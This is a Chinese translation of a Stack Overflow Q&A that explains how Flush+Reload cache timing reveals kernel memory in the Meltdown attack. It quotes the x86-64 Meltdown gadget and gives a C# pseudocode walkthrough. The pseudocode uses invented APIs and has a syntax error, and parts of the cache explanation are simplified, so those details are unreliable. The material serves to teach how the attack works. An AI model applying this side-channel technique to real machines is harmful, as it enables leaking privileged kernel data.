如何在英特尔处理器上找出哪个缓存行被指令触及?

6
我阅读了有关Meltdown/Spectre漏洞的文章,该漏洞利用CPU硬件漏洞读取内核中的特权数据。文章中写道:

The trick is to line up instructions in a normal user process that cause the processor to speculatively fetch data from protected kernel memory before performing any security checks. The crucial Meltdown-exploiting x86-64 code can be as simple as...

; rcx = kernel address
; rbx = probe array
retry:
  mov al, byte [rcx]
  shl rax, 0xc
  jz retry
  mov rbx, qword [rbx + rax]

Trying to fetch a byte from the kernel address as a user process triggers an exception – but the subsequent instructions have already been speculatively executed out of order, and touch a cache line based on the content of that fetched byte.

An exception is raised, and handled non-fatally elsewhere, while the out-of-order instructions have already acted on the content of the byte. Doing some Flush+Reload magic on the cache reveals which cache line was touched and thus the content of the kernel memory byte. Repeat this over and over, and eventually you dump the contents of kernel memory.

有人能解释一下这个Flush+Reload魔法是如何实现的以及它如何揭示被触摸的高速缓存行吗?
1个回答

9

// 下面是用C#伪代码展示完整过程。

我们有一个内核地址rcx,它是内核内存空间中一个字节的地址(让我们把那个字节的值叫做“X”)。当前运行的用户进程不允许访问此地址。这样做会引发异常。

我们在用户空间中有一个大小为256 * 4096字节的探测数组,可以自由访问。因此,这只是一个普通的数组,恰好长256页。每页的大小为4096字节。

首先执行刷新操作(Flush + Reload的第一部分)。这告诉处理器完全清除L1高速缓存。因此,在L1高速缓存中没有任何内存页面被缓存。(我们在OP的代码中看不到这一点)

然后我们执行OP中提到的代码。

mov al, byte [rcx]

我们在内核地址读取字节值 X,并将其存储在 rax 寄存器中。由于我们不能从用户级代码访问该内存地址,因此此指令将触发异常。

然而,由于测试我们是否允许访问此地址需要一些时间,处理器将已经开始执行以下语句。因此,对于这些语句,我们要知道的字节值 X 已存储在 rax 寄存器中。

shl rax, 0xc

我们将这个秘密值 X 乘以 4096(页面大小)。
mov rbx, qword [rbx + rax]

现在我们将rax寄存器中的计算值加入到探针数组的起始位置,得到一个地址,该地址指向组成我们探针数组的内存空间中第X页。
然后,我们访问该地址处的数据,这意味着探针数组的第X页被加载到L1缓存中。
现在,L1缓存为空(因为我们已经显式地清除了它),除了两个页面在缓存中:
1. 包含X的内核内存页(但我们仍然无法访问) 2. 我们探测数组中的第X页
现在,“Flush+Reload”的第二部分开始了。我们依次读取探针数组中的每一页,测量所需时间。因此,总共加载了256页。其中255个页面加载速度较慢(因为相关内存尚未在L1缓存中),但一个页面加载(即第X页)将非常快(因为它之前已经在L1缓存中)。
现在,因为我们发现加载第X页最快,我们知道X是要泄漏的内核地址上的值。
meltdown paper中,这是显示探针阵列内加载页面的时间测量的图形:

enter image description here

在这种情况下,X为84。

C#中显示完整过程的伪代码:

public unsafe byte LeakByte(IntPtr kernelAddress)
{
    const int PAGE_SIZE = 4096;

    // Make probe array
    byte[] probeArray = new byte[256 * PAGE_SIZE];

    // Clear cash
    Processor.ClearL1Cache();

    try
    {
        // mov al, byte [rcx]
        // This will throw an exception because we access illegal memory
        byte secret = *((byte*)kernelAddress.ToPointer());

        // Note that although the previous line logically 
        // throws an exception, 
        // the following code is still executed internally 
        // in the processor before the exception is 
        // actually triggered

        // Although the following lines are executed, any assignments 
        // to variables are discarded by the processor at the time the 
        // exception is then actually thrown.

        // shl rax, 0xc
        int pageOffset = secret * PAGE_SIZE;

        // mov rbx, qword [rbx + rax]
        // This moves the page with number secret into the L1 cache.
        int temp = probeArray[pageOffset];
    }
    catch
    {
        // Ignore Exception
    }

    // Now meassure time for accessing pages
    int bestTime = int.MaxValue;
    byte bestPage = 0;

    for(int i=0; i<= 255, i++)
    {
        int startTime = DateTime.NowInNanoSeconds;
        int temp = probeArray[i * PAGE_SIZE];
        int endTime = DateTime.NowInNanoSeconds;

        int timeTaken = endTime - startTime;
        if(timeTaken < bestTime)
        {
            bestTime = timeTaken;
            bestPage = (byte)i;
        }

    }

    // Fastest page was loaded from Cache and is the leaked secret
    return bestPage;
}

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接